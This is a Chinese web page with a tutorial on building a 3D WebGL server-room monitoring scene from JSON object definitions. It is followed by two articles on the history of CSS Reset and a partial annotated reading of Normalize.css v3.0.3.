上一篇第一弹介绍了项目中做的一个彩虹爆炸图，主要用了 html5的canvas的2d绘制技术。这一回我想介绍一下项目中的一个亮点技术：html5的3D，以及如何用它打造精美的3D机房监控系统。

------------------------10月27日更新-----------------------------
没想到这篇的点击率这么高，感谢大家给予的厚爱。
受到大家的启发和鼓励，这个3D机房系列已经有了长足的进步。
补上后续两篇的传送门：
第二季：场景和功能的丰富，包括机柜、设备、走线、路径规划等功能
第三季：功能的进一步丰富，包括资产管理，动环监控等的可视化管理

另外，录了两个视频，懒得看长文的朋友可以直接戳：
http://v.youku.com/v_show/id_XMTMzNzk5MjQzNg==.html
http://v.youku.com/v_show/id_XMTM3MDgxNTQ4NA==.html

目标效果图

下图是领导给找的一张的效果参考图，客户希望机房至少能达到下面的3D效果。

懂的人都知道，这可是一张设计公司出的装修效果图啊，就算是用max建模，也需要大量的工作，何况咱可是程序员在做数据中心的可视化项目啊。。。强忍心中奔腾的万千头**马，静下心来思考，那就先从搭建一个webGL的场景开始吧。

WebGL基本场景搭建

在html5里面使用3D已经不是什么高深技术，它的基础是WebGL，一个OpenGL的浏览器子集，支持大部分主要3D功能接口。目前最新的浏览器都有比较好的支持，IE需要到11（是的，你没有看错）。

要检测你的浏览器是否支持webGL，可直接访问网页http://get.webgl.org/ 看是否能看到一个旋转的立方体。如果能看到，说明你的浏览器支持webgGL，否则，可以下一个最新的chrome试试吧。相对来说chrome对webGL的支持最好，效率也很优秀。



要在浏览器里面使用webGL，就要研究webGL相关的技术和用法。做3D应用并不是一件轻松的事。就算最简单的搭建一下webGL场景，也需要下面这些代码：

var width = window.innerWidth;  
var height= window.innerHeight;  
var container = document.createElement( 'div' );  
document.body.appendChild( container );  
var webglcanvas = document.createElement('canvas');               
container.appendChild(webglcanvas);   
var gl = webglcanvas.getContext("experimental-webgl");                

function updateFrame () {             
  gl.viewport ( 0, 0, width, height );  
        gl.clearColor(0.4, 0.4, 0.7, 1);  
        gl.clear ( gl.COLOR_BUFFER_BIT );       
         setTimeout(   
    function(){updateFrame()},  
            20);  
     }  

setTimeout(   
  function(){
    updateFrame();
  },  
20);  


和html一样，需要先创建一个canvas元素，并获得其webgl上下文：

var gl = webglcanvas.getContext("experimental-webgl");

然后在一个updateFrame的函数中，像html5的2D context一样，去绘制3D的内容。

另外，要再起一个死循环，每隔**毫秒调用一次这个updateFrame函数来重绘场景。和2D不同，3D场景里面的变化是随时随地的，所以需要不停刷新，就像播放电影或视频，静止不动的画面基本没有，所以死循环刷新基本是必要的。不过实际项目使用中会有很多优化，尽量做到“按需刷新”，节省cpu和移动设备电量。有感兴趣的同学，哥可以单独写文章介绍。这段程序基本上什么也没做，就画了一个静止不动的区域，如下图：



虽然看不见任何3D的内容，不过它已经是一个最简单的webgl程序了。我们的3D机房，也就是在这上面不断丰富而已。

对象封装

要做项目，搭建下去工作量太大了，时间周期也不允许。使用第三方辅助工具是不可避免的，像Three.js, twaver.js都是选择。这些工具都可以提供3D的基本对象和各种特效，当然这都不是最主要的，主要是如何利用它做出我想要的效果：好看。为了避免大量修改代码，在项目里做了一些封装，即把原始3D的立方体等对象进行进一步封装，让一个json数据就可以提供这些对象的定义。这样使用起来就比较方便了。json大致结构如下：

var json={    
objects: [{
    name: '地板',
    …
},{
…
}],
}


下面我们逐一来看这些3D对象是怎么进行美化的，过程可能稍显啰嗦，跬步千里，这次的基础打好了，以后的项目就手到擒来了。

地板和斜坡

第一个要做的，也是应该比较简单的，就是地板对象。3D中，地板应该是一个有些厚度、带上格子贴图的薄薄立方体平面。因此我对经过封装的立方体对象，用一段json对象定义如下：

{
    name: '地板',
    type: 'cube',
    width: 1600,
    height: 10,
    depth: 1300,
        
    style: {
        'm.color': '#BEC9BE',
        'm.ambient': '#BEC9BE',
    }
}


通过定义，创建了一个13米*16米的地板块，这也是客户小型机房的实际尺寸：


看起来有那么点意思，就是颜色还不够，需要找一个地板砖纹理图。需要注意的是，纹理图的尺寸都需要是宽和高都是2的幂，例如128x128、256*256等，这样出来效果才会好。这也是3D软件一般所要求的。另外纹理要能连续拼接不露破绽，这样才好。例如下面我google出来的图：


在style里面添加：

   'top.m.texture.image': 'images/floor.png',
   'top.m.texture.repeat': new mono.Vec2(10,10),


效果如下：


有图片材质纹理，效果果然好多了。突然想到客户说，他们机房底面有一个方便运送设备的斜坡，必须要画出来。这……（╯－＿－）╯

后来想到twaver里面的对象可以支持运算，比如可以定义一个斜的立方体，让地板剪掉立方体，就可以做到。于是继续定义json：

{
    name: '地板切坡',
    type: 'cube',
    width: 200,
    height: 20,
    depth: 260,
    translate: [-348,0,530],
    rotate: [Math.PI/180*3, 0, 0],
    op: '-',
    style: {
        …,
    }
}


这里定义的一个倾斜的立方体，通过translate定义位置，rotate定义旋转角度，然后再通过op定义运算符，这里是“减去”，就用“-”表示。被剪掉的立方体也可以设置材质、纹理、贴图、颜色…等等，和地板一样。看看效果：


第一步总算是有惊无险地搞定了。

走廊桌

下一步找了个简单的对象，按要求走廊要放一个接待桌。为了简单，我决定就偷懒做一个立方体表示。

{
    name: '走廊板凳',
    type: 'cube',
    width: 300,
    height: 50,
    depth: 100,
    translate: [350, 0, -500],
}


效果如下：


这里偷懒其实是有原因的。在3D里，最重视的就是效率，千万不要放一些很复杂的模型，尤其是这类非业务对象。就像这个桌子，尽管只是个简单的立方体，但只要和整体风格协调一致，再增加一点配色并启动阴影效果后，看着就好多了：


墙体

墙体是机房里很重要的一个部分，有好的光照、阴影的效果才能看起来更加逼真。由于墙体是不规则的路径，一段一段去生成还真挺麻烦的，还好引擎支持这种物体，甚至曲线路径都可以。这里只要在json里面定义一组数字的坐标，让这些数字依次连接，组成一个墙体，最后生成3D对象放入场景中就行啦。

json定义如下：

{
    name: '主墙体',
    type: 'path',
    width: 20,
    height: 200,
    translate: [-500, 0, -500],
    data:[
        [0, 0],
        [1000, 0],
        [1000, 500],
        [500, 500],
        [500, 1000],
        [0, 1000],
        [0,0],
    ],
}


注意这里的类型变成了path，data中定义了一个二维坐标数组来描述墙体。由于墙都是从底面开始的，所以只定义它的平面的x、y坐标就行了。看看效果：



不过如前文所说，还是需要上色、上阴影，才能有更好的效果。这里我们启用阴影并咨询设计师美眉几个颜色值，加上去后再看下效果：


以及一些细节：


门

看着雪白的墙，是不是觉得少了点什么？对，就是门。在3D机房的监控系统里，门禁是很重要的一块，客户要求门应该与实际位置相对应，并且要有开门关门的动画效果。这样，实际的门禁信息采集上来后，就能在界面实时看到门的状态了。

这里，考虑到门如果直接放上去，会被墙盖住；如果比墙厚，又难看不符合实际。还是应该先定义一个门洞立方体，把门所在的位置挖掉：

{
    name: '门洞',
    type: 'cube',
    width: 195,
    height: 170,
    depth: 30,
    op: '-',
    translate:[-350,2,500],
}


刚好挖在斜坡的位置，这样设备进屋就方便了：



不过这门没有一个门框，感觉不太生动。多一个门框会感觉立体感强一些。门框可以是一个比门洞略大的立方体，在挖门洞之前添加：

{
    name: '门框',
    type: 'cube',
    width: 205,
    height: 180,
    depth: 26,
    translate: [-350, 0, 500],
    op: '+',
}

加上阴影和光线等综合效果后，还不错，挺有档次的。



来张全景图看看：


接着，只要把门安上去就行了。门的定义比较简单，就是一个薄的立方体。不过为了做到玻璃效果，需要设置透明度，让它看上去更像一个玻璃，再让设计师美眉弄一张好看一点的门的图，贴上去。尽管有了webGL，复杂的建模工作可以省略了，不过设计师美眉的配合仍然很重要。
先做左边的门：

{
    name: '左门',
    type: 'cube',
    width: 93,
    height: 165,
    depth: 2,
    translate:[-397,4,500],
    style:{
        'm.transparent': true,
        'm.texture.image': 'images/door_left.png',                    
    }


上面增加的style主要透明和贴图两项。看看效果：



同样的方法，再把右侧门贴上就搞定了。为了增加体验，也是用户的要求，门上面设置了动画：双击可以自动打开，再双击可以直接关闭。动画功能引擎做好了封装，在json中直接指定动画类型就行了。不过要注意左右门的动画旋转方向要相反，要不然一个向里开一个向外开感觉比较怪异。



窗

项目中，窗本身不需要有任何业务属性，但是美观度的要求可一点都不能少。方法和门类似，先放窗框后挖窗体。不过为了有点变化，这里不做窗框了，做一个窗台，方法和道理与门相同。

{
    name: '主窗户洞',
    type: 'cube',
    width: 420,
    height: 150,
    depth: 50, 
    translate: [200, 30, 500],
    op: '-',
},{
    name: '主窗户台',
    type: 'cube',
    width: 420,
    height: 10,
    depth: 40, 
    translate: [200, 30, 510],
    op: '+',
}


定义了一个窗洞（挖掉）、一个窗台（添加）。一个大窗户就做好了：



再添加一个略带颜色的透明玻璃。玻璃设置点高光和反射，增加“玻璃”感觉：

{
    name: '主窗户玻璃',
    type: 'cube',
    width: 420,
    height: 150,
    depth: 2,
    translate: [200, 30, 500],
    op: '+',
    style: {
        'm.transparent': true,
        'm.opacity':0.4,
        'm.color':'#58ACFA',
    },            
}


json中玻璃设置了透明度和颜色。这样一个半透明的茶色玻璃就好了：


到这里突然在想：盖房子如果像写程序一样简单就好了，所有的程序猿就不会是无房一族单身狗了。当然写程序和盖房子一样：该封装好的要封装好，最后就是搭积木组装就行了。如果盖房子都是从挖土活泥巴开始，那就杯具了。写程序也是一样，如果从webGL的main开始写……这3D机房的系统要几个月甚至几年才能做出来呢？

外侧墙

按照项目实际要求，继续增加更多建筑物墙体。主要是房间外侧有两道走廊隔墙。这是一个中间有大片透明玻璃的走廊隔墙，需要做的好看一点。由于是直线墙，没有复杂走向，直接用立方体定义：

{
    name: '左外墙',
    type: 'cube',
    width: 20,
    height: 200,
    depth: 1300,
    translate: [-790, 0, 0],
    op: '+',
}


效果如下：



再继续挖掉中间的窗户部分：

{
    name: '左外墙洞',
    type: 'cube',
    width: 30,
    height: 110,
    depth: 1300,
    translate: [-790, 60, 0],
    op: '-',
}




空白显得很奇怪，加上玻璃试试：

{
    name: '左外墙玻璃',
    type: 'cube',
    width: 4,
    height: 110,
    depth: 1300,
    translate: [-790, 60, 0],
    op: '+',
    style: {
        'm.transparent': true,
        'm.opacity':0.6,
    },
}




有了半透明和高光的效果，看起来就有质感了，右边也如法炮制：



这样，整个建筑的外观就基本完成了。最后，放一些绿植，增加些生气吧。

植物

做一盆植物，需要有一个空的花盆，花盆里面有泥土，上面有一株植物。这些东西用3D做起来都有点啰嗦。不过也不难。花盆用一个大圆柱剪掉中间的小圆柱，做成空心花盆；植物用贴图+透明模拟一下就行，不用真的去做植物的3D模型，否则要累死了。

根据上面的思路，在项目中通过仔细调整，把创建花盆的代码封装好，然后在json中定义花盆位置就行了。下面定义一个：

{
    name: '花1',
    type: 'plant',
    translate: [560, 0, 400],
}

程序中解析如果type是plant则创建植物对象并添加场景。



在房间、走廊、甚至窗台上都可以放几盆，窗台上的可以通过设置scale缩小一些，并提升其高度到窗台位置即可。


看看下整体效果，还不赖吧。


机柜和设备

写了那么一大篇，才终于把3D机房的外观装修完成，咱也算是个设计师程序员的混合型人才了呢。其实机房最核心的资源——机柜，还没找落呢，没办法，形象工程也是项目建设的一大亮点。

机柜

机柜，以及其中的服务器设备。这才是3D机房里面最终要管理的内容。在我们的实际项目中，这些资产都是在数据库中存储，并通过json接口加载到浏览器中显示。这里为了演示方便，直接写几个机柜的片段，看一下显示效果。


机柜对象在项目中是这样封装的：用一个立方体来表示机柜，并加上贴图。项目中，为了提高显示速度，机柜一开始并不加载内部服务器内容，而是只显示自身一个立方体。当用户双击后，会触发一个延迟加载器，从服务器端加载机柜内部服务器，并加载到对应的位置上。此时，机柜会被挖空成一个空心的立方体，以便视觉上更像一个机柜。

定义机柜的json如下：

{
    name: '机柜',
    type: 'rack',
    lazy: true,
    width: 70,
    depth: 100,
    height: 220,
    translate: [-370, 0, -250],
    severity: CRITICAL,
}


上面的机柜定义中，有一个lazy标记，标记它是否延迟加载其内容。如果延迟加载，则双击触发，否则程序显示时直接加载其内容。Severity是定义了机柜的告警信息，它是否有业务告警。如果有告警，会用一个气泡显示在机柜的上方，同时机柜也会被染色成告警对应的颜色。

加入更多的机柜看看效果： 



设备

简单起见，这里管理的设备假设都是机架设备，尺寸规格比较规整，因此比较容易在机柜中组织。一个设备的外观确定后，在数据库中定义好模板，加载时根据其所在机柜的位置放置即可。



这里只是随机生成了几个服务器设备，并按位置摆放。在实际应用中，可以通过手工录入或者智能机架报送的信息来确定服务器的类型和位置。



如果需要监控到端口级别，还可以在服务器弹出后，再进一步延迟加载设备商的板卡、端口对象，并点击后进一步进行配置、监控等操作。当然加载的数据越细，对3D引擎和浏览器的压力会越大。可以通过动态延迟加载/卸载策略，获取一些平衡折中。

电视机

纯属无聊，再做一个电视机挂在墙上。依旧，定义一个立方体、挖空屏幕，放上透明玻璃，再贴上我们喜欢的电视节目画面，就ok了。

{
    name: '电视机体',
    type: 'cube',
    width: 150,
    height: 80,
    depth: 5,
    translate: [80, 100, 13],
    op: '+',        
},{
    name: '电视机挖空',
    type: 'cube',
    width: 130,
    height: 75,
    depth: 5,
    translate: [80, 102.5, 17],
    op: '-',
},{
    name: '电视机屏幕',
    type: 'cube',
    width: 130,
    height: 75,
    depth: 1,
    translate: [80, 102.5, 14.6],
    op: '+',
    style: {
        'front.m.texture.image': 'images/screen.jpg',
    },
}


当然，实际项目中，可以换上监控大屏幕的效果：


总结

整个场景写到最后，我也已经脑洞大开游刃有余了。3D场景，尤其是这类业务系统，并不一定要死抠模型的仿真度，才能做到“好看”的效果。先来一张全景看一下：


怎么样，还算精美吧？基本不输前面看到的广告公司的效果图。但和效果图一张死图片不一样，我们这是一个能操作、能漫游、能缩放、有动画、显示流畅、浏览器无需插件就能直接打开的3D机房小程序，就一个json文件和一百多行代码和一天的时间就搞定了，还是让人有点惊讶的。



不用插件、不用3Dmax，不用模型库，干干净净纯粹的小程序，手机和平板也能用哦，而且还很流畅！上一张我的Nexus5截图瞅瞅：



经过优化，场景加载已经控制在600毫秒以内，缩放漫游也很流畅。当然，技术和美化永无止境，用户的需求也千变万化精益求精。但只要我们选择好了技术和工具，就能事半功倍。Html5就是极佳的一个选择。

Html5，也许它还不是银弹，但它确实是很好的一个炮弹。本文这一弹，你还喜欢吗？欢迎来信留言索取代码、技术交流：tw-service@servasoft.com


 关于CSS Reset 那些事（一）之 历史演变与Normalize.css

作者：alsiso

来源： 关于CSS Reset 那些事（一）之 历史演变与Normalize.css



                    
前言


近期在翻阅陈旧的历史资料，整理之前饱受争议的CSS Reset问题，不过好像十多年过去，现在大家统一了口径，纷纷推荐使用Normalize.css，包括Bootstrap都进行了内置使用，可见它的认可程度之高。


由于文章涉及内容较多，会分为章节进行介绍：


第一章，

整理CSS Reset历史的演变痕迹，从第一份CSS Reset的诞生，到提出No CSS Reset的思想，再到国产CSS Reset 1.0版本的骄傲诞生；最终时过境迁，CSS Reset被Normalize.css所替代;

随后开始认识Normalize.css，了解它都做了那些事情，诉说与CSS Reset的区别，突出优势，告诉你为什么要使用它。


第二章，

由于Normalize.css只提供了英文文档，没有提供对应的中文版本，所以从这章开始对其源码进行翻译整理与解读，本章包含 html与body，HTML5元素，链接，语义化文本标签，内嵌元素，群组元素等内容解读。


第三章，

继续来介绍源码中的表单和表格部分，并且整理一份normalize-zh.css中文注释的版本上传至Github，供大家参考使用，敬请期待


CSS Reset 历史回顾


第一份 CSS Reset


为什么会有CSS Reset的存在呢？那是因为早期的浏览器支持和理解的CSS规范不同，导致渲染页面时效果不一致，会出现很多兼容性问题。 关于 浏览器的默认样式 请点击查阅！


根据玉伯的文章中透漏，最早的一份CSS Reset来自Tantek 的undohtml.css，从URL中的日期可以看出时间是2004年，Tantek根据自身需要对于一些标签进行了简单的重置，源码如下：


/* undohtml.css */
/* (CC) 2004 Tantek Celik. Some Rights Reserved.             */
:link,:visited { text-decoration:none }
ul,ol { list-style:none }
h1,h2,h3,h4,h5,h6,pre,code { font-size:1em; }
ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,body,html,p,blockquote,
fieldset,input{ margin:0; padding:0 }
a img,:link img,:visited img { border:none }
address { font-style:normal }



核心代码与作用


随后加入到CSS Reset的行列的大牛越来越多，比如业界领袖 YUI团队 以及Eric Meyer把这份代码内容变的更加充实，但是不难发现代码的核心部分还是对样式进行重置，在此可以结论出早期的CSS Reset的作用就是清除所有浏览器默认样式，让它一切归零！


* { margin:0; padding:0 }



不过在此之后一段时间内，有人开始批判这种暴力清零的CSS Reset方式，随后部分前端开发者们也传来一些争议声音，比如：



	
*{ margin:0; padding:0; }会带来性能问题

	使用通配符存在隐性问题

	过渡的标签重置等于画蛇添足

	过渡的标签重置导致语言元素失效



注：由于都是一些陈旧的老问题，就不提供出处了，再此不过多讨论，感兴趣Google~


No CSS Reset 思想


其实面对于争议问题，国外的大牛Jonathan Snook是第一个提出No CSS Reset思想，其核心是Less is more，少即是多，不再提倡使用暴力归零的方法。


后来玉伯也在《Reset CSS研究》文章中阐述说明，其实 Eric Meyer 并不期望大家下载他的 CSS Reset 后直接就拿去用，而是应该按照自己的需求，适量裁剪和修改后再进行使用。


后来YUI更新了CSS Reset，还配套了 cssfonts.css 和 cssbase.css。cssreset.css只负责清除默认样式,而cssfonts.css和 cssbase.css 则负责将一些元素的默认样式再重设回来，这样就消除了之前的争议，这一方案迅速被大家接受了，又开始愉快的拷贝使用起来。


YUI 提供的cssfonts.css


/*
YUI 3.18.1 (build f7e7bcb)
Copyright 2014 Yahoo! Inc. All rights reserved.
Licensed under the BSD License.
http://yuilibrary.com/license/
*/

/**
 * Percents could work for IE, but for backCompat purposes, we are using keywords.
 * x-small is for IE6/7 quirks mode.
 */
body {
    font:13px/1.231 arial,helvetica,clean,sans-serif;
    *font-size:small; /* for IE */
    *font:x-small; /* for IE in quirks mode */
}

/**
 * Nudge down to get to 13px equivalent for these form elements
 */
select,
input,
button,
textarea {
    font:99% arial,helvetica,clean,sans-serif;
}

/**
 * To help tables remember to inherit
 */
table {
    font-size:inherit;
    font:100%;
}

/**
 * Bump up IE to get to 13px equivalent for these fixed-width elements
 */
pre,
code,
kbd,
samp,
tt {
    font-family:monospace;
    *font-size:108%;
    line-height:100%;
}

/* YUI CSS Detection Stamp */
#yui3-css-stamp.cssfonts { display: none; }



国产 CSS Reset


上面展现的是YUI最新版本V3.18.1，但是很尴尬的发现，YUI 提供的 cssfonts.css 和 cssbase.css 只考虑了西欧文字，对汉字的支持却不多，这就导致中国很多用户只使用了cssreset.css，而没有使用其他两个。


据说nake和adiaos两大运动品牌到天朝后，有些运动科技会缩水，但是万万没想到，万能的代码到了天朝也是会缩水的。


于是乎，有些大牛不甘心，不仅仅厌倦了国内抄来抄去的CSS Reset现状，也受够了YUI只考虑西欧洲字体，不考虑汉字的缺陷，大厂们就开始摸索制定属于自己的CSS Reset，比如2009年阿里Kissy框架 (源码连接已失效，主页留纪念) 的第一份CSS Reset：


/* KISSY CSS Reset
理念：清除和重置是紧密不可分的
特色：1.适应中文 2.基于最新主流浏览器
维护：玉伯(lifesinger@gmail.com), 正淳(ragecarrier@gmail.com)
*/

/* 清除内外边距 */
body, h1, h2, h3, h4, h5, h6, hr, p, blockquote, /* structural elements 结构元素 */
dl, dt, dd, ul, ol, li, /* list elements 列表元素 */
pre, /* text formatting elements 文本格式元素 */
fieldset, lengend, button, input, textarea, /* form elements 表单元素 */
th, td { /* table elements 表格元素 */
    margin: 0;
    padding: 0;
}

/* 设置默认字体 */
body,
button, input, select, textarea { /* for ie */
    /*font: 12px/1 Tahoma, Helvetica, Arial, "宋体", sans-serif;*/
    font: 12px/1 Tahoma, Helvetica, Arial, "\5b8b\4f53", sans-serif; 
    /* 用 ascii 字符表示，使得在任何编码下都无问题 */
}

h1 { font-size: 18px; /* 18px / 12px = 1.5 */ }
h2 { font-size: 16px; }
h3 { font-size: 14px; }
h4, h5, h6 { font-size: 100%; }

address, cite, dfn, em, var { font-style: normal; } /* 将斜体扶正 */
code, kbd, pre, samp, tt { font-family: "Courier New", Courier, monospace; } /* 统一等宽字体 */
small { font-size: 12px; } /* 小于 12px 的中文很难阅读，让 small 正常化 */

/* 重置列表元素 */
ul, ol { list-style: none; }

/* 重置文本格式元素 */
a { text-decoration: none; }
a:hover { text-decoration: underline; }

abbr[title], acronym[title] { /* 注：1.ie6 不支持 abbr; 2.这里用了属性选择符，ie6 下无效果 */
 border-bottom: 1px dotted;
 cursor: help;
}

q:before, q:after { content: ''; }

/* 重置表单元素 */
legend { color: #000; } /* for ie6 */
fieldset, img { border: none; } /* img 搭车：让链接里的 img 无边框 */
/* 注：optgroup 无法扶正 */
button, input, select, textarea {
    font-size: 100%; /* 使得表单元素在 ie 下能继承字体大小 */
}

/* 重置表格元素 */
table {
 border-collapse: collapse;
 border-spacing: 0;
}

/* 重置 hr */
hr {
    border: none;
    height: 1px;
}
/* 让非ie浏览器默认也显示垂直滚动条，防止因滚动条引起的闪烁 */
html { overflow-y: scroll; }




这应该是国内的第一份CSS Reset，是玉伯和另外一位前辈完成的，向他们致敬，记得玉伯在写完第一版本后，在总结文章的结尾还是千叮咛，万嘱咐说：



  请记住：永远不存在万能解决方案，永远没有银弹。

      因此我的建议和 Eric 是一样的：请根据具体需求，适量裁剪和修改后再使用。




替代品 Normalize.css


再把历史拉回到今天，时过迁境，中国的前端职位越发的火热，开发者们也变得更为专业，CSS Reset 泛滥使用逐渐淡出的前端的视野，被取而代之就是Normalize.css，关于对CSS Reset 与 Normalize.css的区别？可以引用知乎上 张小核桃 的一个回答：



  CSS Reset 是革命党，CSS Reset 里最激进那一派提倡不管你小子有用没用，通通给我脱了那身衣服，凭什么你 body 出生就穿一圈 margin，凭什么你姓 h 的比别人吃得胖，凭什么你 ul 戴一胳膊珠子。于是 *{margin:0;} 等等运动，把人家全拍扁了。看似是众生平等了，实则是浪费了资源又占不到便宜，有求于人家的时候还得贱贱地给加回去，实在需要人家的默认样式了怎么办？人家锅都扔炉子里烧了，自己看着办吧。





  Normalize.css 是改良派。他们提倡，各个元素都有其存在的道理，简单粗暴地一视同仁是不好的。body 那一圈确实挤压了页面的生存空间，那就改掉。士农工商，谁有谁的作用，给他们制定个规范，确保他们在任何浏览器里都干好自己的活儿。




下面开始对Normalize.css进行简单的介绍，关于两者的差异区别可以看问答平台：
使用normalize.css遇到的问题？
Normalize.css 和 Reset CSS 有什么本质区别没？


Normalize.css 简单介绍


关于对Github的介绍，这里引用 咀嚼之味 针对 官方介绍 翻译的的 中文版本。


简要概述


Normalize.css 是@necolas和@jon_neal 两位大牛花了几百个小时来研究不同浏览器的默认样式的差异而得出的结晶，感谢前辈们的贡献。



  Normalize.css 只是一个很小的CSS文件，但它在默认的HTML元素样式上提供了跨浏览器的高度一致性。相比于传统的CSS Reset，Normalize.css是一种现代的、为HTML5准备的优质替代方案。Normalize.css现在已经被用于Twitter Bootstrap、HTML5 Boilerplate、GOV.UK、Rdio、CSS Tricks 以及许许多多其他框架、工具和网站上。




目前Normalize.css 已经成为了CSS Reset的替代方案是无可争议的事情了。国内著名的AliceUI，AmazeUI 框架都是基于或者借鉴Normalize.css进行的制定化版本。


可以从这里下载：

Github：https://github.com/necolas/normalize.css/


做了那些事


Normalize.css做了以下几件事：



	Preserves useful defaults, unlike many CSS resets.
保护有用的浏览器默认样式而不是完全去掉它们

	Normalizes styles for a wide range of elements
一般化的样式：为大部分HTML元素提供

	Corrects bugs and common browser inconsistencies
修复浏览器自身的bug并保证各浏览器的一致性

	Improves usability with subtle improvements
优化CSS可用性：用一些小技巧

	Explains what code does using detailed comments
解释代码：用注释和详细的文档来



优势对比


前面讲到CSS Reset的核心作用就是清零，而且过于暴力；那么作为后者Normalize.css，到底有什么优势可以完全取代前者呢？


1.Normalize.css 保护了有价值的默认值

Reset通过为几乎所有的元素施加默认样式，强行使得元素有相同的视觉效果。 相比之下，Normalize.css保持了许多默认的浏览器样式。 这就意味着你不用再为所有公共的排版元素重新设置样式。 当一个元素在不同的浏览器中有不同的默认值时，Normalize.css会力求让这些样式保持一致并尽可能与现代标准相符合。


2.Normalize.css 修复了浏览器的bug

它修复了常见的桌面端和移动端浏览器的bug。这往往超出了Reset所能做到的范畴。 关于这一点，Normalize.css修复的问题包含了HTML5元素的显示设置、预格式化文字的font-size问题、在IE9中SVG的溢出、许多出现在各浏览器和操作系统中的与表单相关的bug。


3.Normalize.css 修复了浏览器的bug

使用Reset最让人困扰的地方莫过于在浏览器调试工具中大段大段的继承链。在Normalize.css中就不会有这样的问题，因为在我们的准则中对多选择器的使用时非常谨慎的，我们仅会有目的地对目标元素设置样式。


4.Normalize.css 是模块化的

这个项目已经被拆分为多个相关却又独立的部分，这使得你能够很容易也很清楚地知道哪些元素被设置了特定的值。因此这能让你自己选择性地移除掉某些永远不会用到部分（比如表单的一般化）。


5.Normalize.css 拥有详细的文档
Normalize.css的代码基于详细而全面的跨浏览器研究与测试。这个文件中拥有详细的代码说明并在Github Wiki中有进一步的说明。这意味着你可以找到每一行代码具体完成了什么工作、为什么要写这句代码、浏览器之间的差异，并且你可以更容易地进行自己的测试。


这个项目的目标是帮助人们了解浏览器默认是如何渲染元素的，同时也让人们很容易地明白如何改进浏览器渲染。


源码解析


虽然Normalize.css第五条优势是说提供了详细的文档，但是它并没有提供对应的中文版本，首先英文注释看起来不够清晰，其次对问题的解析程度也不够细化，而且也不包含问题案例，所以接下来一章会对Normalize.css源码进行模块解读与翻译整理。


 关于CSS Reset 那些事（二）之 Normalize.css 源码解读   

作者：alsiso

来源： 关于CSS Reset 那些事（二）之 Normalize.css 源码解读   



                    
前言


上一章节介绍了CSS Reset的历史，最后对Normalize.css做了简单的了解，所以从这节开始对源码进行注释翻译与解读，尽可能从最根本性的问题了解它在帮我们做什么？


回顾：关于CSS Reset 那些事（一）之 历史演变与Normalize.css


Normalize 源码解读


前面讲到的分模块解读，就是先黏贴一段源码，然后根据官方提供的注释进行翻译整理，尽可能提供案例解析，然后再次进行整理总结，如果你有疑问，可以留言一起交流。


源码地址：https://github.com/necolas/normalize.css/blob/master/normalize.css

源码版本：v3.0.3


html与body 元素


/**
 * 1. Set default font family to sans-serif.
 * 2. Prevent iOS and IE text size adjust after device orientation change,
 *    without disabling user zoom.
 */
html {
  font-family: sans-serif; /* 1 */
  -ms-text-size-adjust: 100%; /* 2 */
  -webkit-text-size-adjust: 100%; /* 2 */
}




	设置全局的字体为sans-serif，关于中文字体的设置可参考 Amaze UI


	防止 iOS 横屏字号放大，同时保证在PC上 zoom 功能正常



第2个问题场景是这样，苹果IOS设备调整后会自动调整文字的大小，按照苹果的意图是为了提升用户体验，比如竖屏状态下是14px，转换为横屏时就变成了20px，把text-size-adjust:100%就不会调整字体大小了。


如果把值设置为'text-size-adjust:none'，那么就会导致用户无法放大缩小字体了。


/**
 * Remove default margin.
 */

body {
  margin: 0;
}




	修复浏览器默认边距，统一效果



HTML5 元素 display definitions


/**
 * Correct `block` display not defined for any HTML5 element in IE 8/9.
 * Correct `block` display not defined for `details` or `summary` in IE 10/11
 * and Firefox.
 * Correct `block` display not defined for `main` in IE 11.
 */

article,
aside,
details,
figcaption,
figure,
footer,
header,
hgroup,
main,
menu,
nav,
section,
summary {
  display: block;
}




	修复 IE 8/9，HTML5新元素不能正确显示的问题，定义为block的元素

	修复 IE 10/11，details 和 summary 定义为 block 的元素

	修复 IE 11，main定义为 block 的元素



这个问题想必大家都已经非常清楚，当低版本浏览器遇到不识别的元素时，会默认把他们当成内联元素(inline)，这里重新定义成为block元素。


/**
 * 1. Correct `inline-block` display not defined in IE 8/9.
 * 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
 */

audio,
canvas,
progress,
video {
  display: inline-block; /* 1 */
  vertical-align: baseline; /* 2 */
}




	修复 IE 8/9，HTML5新元素不能正确显示的问题，定义为inline-block元素

	修复Chrome, Firefox, 和Opera的progress元素没有以baseline垂直对齐



progress是HTML5的新标签，可以定义进度条，但是它Chrome, Firefox, 和Opera并没有已baseline垂直对齐。


/**
 * Prevent modern browsers from displaying `audio` without controls.
 * Remove excess height in iOS 5 devices.
 */
audio:not([controls]) {
  display: none;
  height: 0;
}




	对不支持controls属性的浏览器，audio元素给以隐藏

	移除iOS5设备中多余的高度



在IE8之前的浏览器是不支持controls属性，这里的办法是直接隐藏该元素


/**
 * Address `[hidden]` styling not present in IE 8/9/10.
 * Hide the `template` element in IE 8/9/10/11, Safari, and Firefox < 22.
 */

[hidden],
template {
  display: none;
}




	修复 IE 7/8/9，Firefox 3 和 Safari 4 中hidden属性不起作用的问题

	在 IE，Safari，Firefox 22- 中隐藏template元素



template标签用于HTML模板，大家应该都是用过HTML模版开发页面，这个标签是按照实际需求添加的，但是模板又不能在界面上显示，所以这里统一了样式，兼容旧浏览器。


链接 Links


/**
 * Remove the gray background color from active links in IE 10.
 */

a {
  background-color: transparent;
}




	去掉 IE 10+ 点击链接时的灰色背景



/**
 * Improve readability of focused elements when they are also in an
 * active/hover state.
 */

a:active,
a:hover {
  outline: 0;
}




	去掉点击时的outline焦点框，同时保证使用键盘可以显示焦点框，这个操作针对所有浏览器



语义化文本标签 Text-level semantics


/**
 * Address styling not present in IE 8/9/10/11, Safari, and Chrome.
 */

abbr[title] {
  border-bottom: 1px dotted;
}




	修正abbr元素在 Firefox 外其他浏览器没有下划线的问题



语义abbr标签是表示简称或缩写，自身的title属性是完整版，但是此标签在Firefox下默认有下边框，而其他浏览器中没有，这里统一了样式。


/**
 * Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
 */

b,
strong {
  font-weight: bold;
}




	Firefox3+，Safari4/5 和 Chrome 中统一设置为粗体



Firefox 3+, Safari 和 Chrome 给b和strong设置的属性是bolder，而不是bold，这里统一了样式。


/**
 * Address styling not present in Safari and Chrome.
 */

dfn {
  font-style: italic;
}




	修正 Safari5 和 Chrome 中没有样式的问题



dfn 标签可标记那些对特殊术语或短语的定义，在Safari 和Chrome 里不是斜体，在这里统一了样式。


/**
